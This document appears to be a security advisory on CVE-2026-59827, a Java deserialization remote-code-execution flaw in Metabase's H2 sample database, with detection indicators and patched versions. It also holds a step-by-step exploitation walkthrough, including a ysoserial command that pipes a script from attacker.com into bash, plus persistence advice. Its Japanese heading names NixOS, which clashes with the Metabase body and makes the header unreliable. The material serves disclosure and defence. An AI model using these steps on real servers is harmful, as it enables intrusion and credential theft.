CVE-2026-59827: 
NixOS 脆弱性の分析と軽減

CVE-2026-59827 is an unsafe Java deserialization vulnerability in Metabase, an open-source business intelligence and embedded analytics platform. Authenticated users with permission to run native queries against an H2 database connection — including the default sample database — can craft queries that return serialized Java objects in columns of type OTHER, which Metabase deserializes without validation, enabling remote code execution on the server. The vulnerability was reported by Matheus Gutierre (Gutierre0x80) and the advisory was published on June 30, 2026, with NVD publication on July 9, 2026. Affected versions span the 1.58.x, 1.59.x, 1.60.x, and 1.61.x lines (and their open-source 0.x equivalents) prior to the patched releases. The CVSS v3.1 base score is 9.9 (Critical) per the GitHub Security Advisory (GitHub Advisory), and 8.8 (High) per NVD scoring.

The root cause is CWE-502 (Deserialization of Untrusted Data): Metabase's JDBC result-handling code in src/metabase/driver/h2.clj called .getObject on all result columns without checking the SQL type, allowing H2 columns of type OTHER (which map to Types/JAVA_OBJECT) to be deserialized as arbitrary Java objects. The fix (commit 00f4251) adds a type check that throws an exception when a column of type JAVA_OBJECT is encountered, preventing deserialization entirely (GitHub Commit). Exploitation requires an authenticated session with native query execution privileges against an H2 data source; because Metabase ships with an H2 sample database enabled by default, many deployments are affected without any additional configuration. Public PoC tooling uses ysoserial to generate a gadget-chain payload, hex-encodes it, and injects it via a native SQL query such as SELECT X'<hex payload>'::OTHER; (PoC GitHub).

Successful exploitation grants the attacker arbitrary code execution on the Metabase server with the privileges of the Metabase process, resulting in full compromise of confidentiality, integrity, and availability. An attacker can exfiltrate all data accessible to the Metabase service account — including connected database credentials, API keys, and business intelligence data — modify or destroy data, and use the compromised server as a pivot point for lateral movement within the internal network (GitHub Advisory).

A public proof-of-concept exploit with step-by-step instructions (payload generation via ysoserial, hex encoding, and SQL injection targeting H2) was published on GitHub on July 15, 2026 (PoC GitHub), and a second PoC repository appeared by July 18, 2026 (PoC2 GitHub). The exploit has been indexed by Sploitus and Vulners, increasing its accessibility. As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and the CVE is not listed in the CISA KEV catalog. The EPSS score is approximately 0.0045 (low probability of near-term exploitation), though the availability of detailed PoC code elevates practical risk (Feedly).

1. Reconnaissance: Identify Metabase instances (versions 1.58.0–1.58.14, 1.59.0–1.59.11, 1.60.0–1.60.6.2, 1.61.0–1.61.1.3) exposed to the network using Shodan, Censys, or similar tools. Confirm the presence of the default H2 sample database or any H2 connection.
2. Authenticate: Log in to the Metabase instance with any account that has native query execution permissions on an H2 data source (including the sample database).
3. Generate deserialization payload: Use ysoserial to create a Java gadget-chain payload targeting a gadget available in Metabase's classpath (e.g., CommonsCollections):

   java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/shell.sh | bash' > payload.ser

4. Hex-encode the payload: Convert the serialized bytes to a hex string:

   xxd -p payload.ser | tr -d '\n'

5. Inject via native H2 query: In the Metabase native query editor targeting the H2 database, execute:

   SELECT X'<paste hex string here>'::OTHER;

6. Trigger deserialization: When Metabase processes the query result, it deserializes the OTHER-typed column value, executing the embedded gadget chain and running the attacker's command on the server.
7. Establish persistence: Use the initial code execution to deploy a reverse shell, create a backdoor user, or exfiltrate credentials for further access (PoC GitHub, GitHub Advisory).

• Network: Unexpected outbound connections from the Metabase server process to external IPs (especially on ports 4444, 1337, or other non-standard ports); DNS lookups to attacker-controlled domains initiated by the Metabase JVM process.
• Logs: Metabase application logs showing native H2 queries containing hex-encoded binary blobs (e.g., SELECT X'ACED0005...'::OTHER); Java deserialization-related stack traces or ex-info exceptions referencing column-type in H2 driver logs (pre-patch).
• Process: Unusual child processes spawned by the Metabase JVM (e.g., /bin/bash, curl, wget, python, nc) that are not part of normal Metabase operation; new cron jobs or scheduled tasks created under the Metabase service account.
• File System: Unexpected files written to the Metabase working directory or /tmp, including shell scripts, reverse shell binaries, or ysoserial-generated artifacts.
• Authentication: Successful logins from unfamiliar IP addresses followed immediately by native query execution against the H2 sample database (PoC GitHub, GitHub Advisory).

Metabase has released patched versions that block deserialization of JAVA_OBJECT-typed columns: 1.58.15 (OSS: 0.58.15), 1.59.12 (OSS: 0.59.12), 1.60.6.3 (OSS: 0.60.6.3), and 1.61.1.4 (OSS: 0.61.1.4) (GitHub Advisory). Upgrading to the appropriate patched version is the primary recommended remediation. As interim mitigations: restrict native query execution permissions to the minimum set of trusted users, and if H2 database connections are not required for business operations, disable or remove them. Note that Metabase does not allow adding new H2 connections via the UI, so the primary risk surface is the default sample database.

The vulnerability was discussed in CVE daily briefs on Reddit's r/pwnhub and highlighted in security bulletins by aretiq.ai and no.security shortly after disclosure. A Bluesky post from cyberhub.blog and coverage on tonyharris.io's PoC Week roundup (July 20, 2026) noted the availability of working exploit code. Tenable added a detection plugin (pipeline issue #224699) within days of disclosure. Community sentiment reflects concern given the default H2 sample database being enabled in many Metabase deployments, broadening the potential attack surface beyond what the "authenticated" precondition might suggest.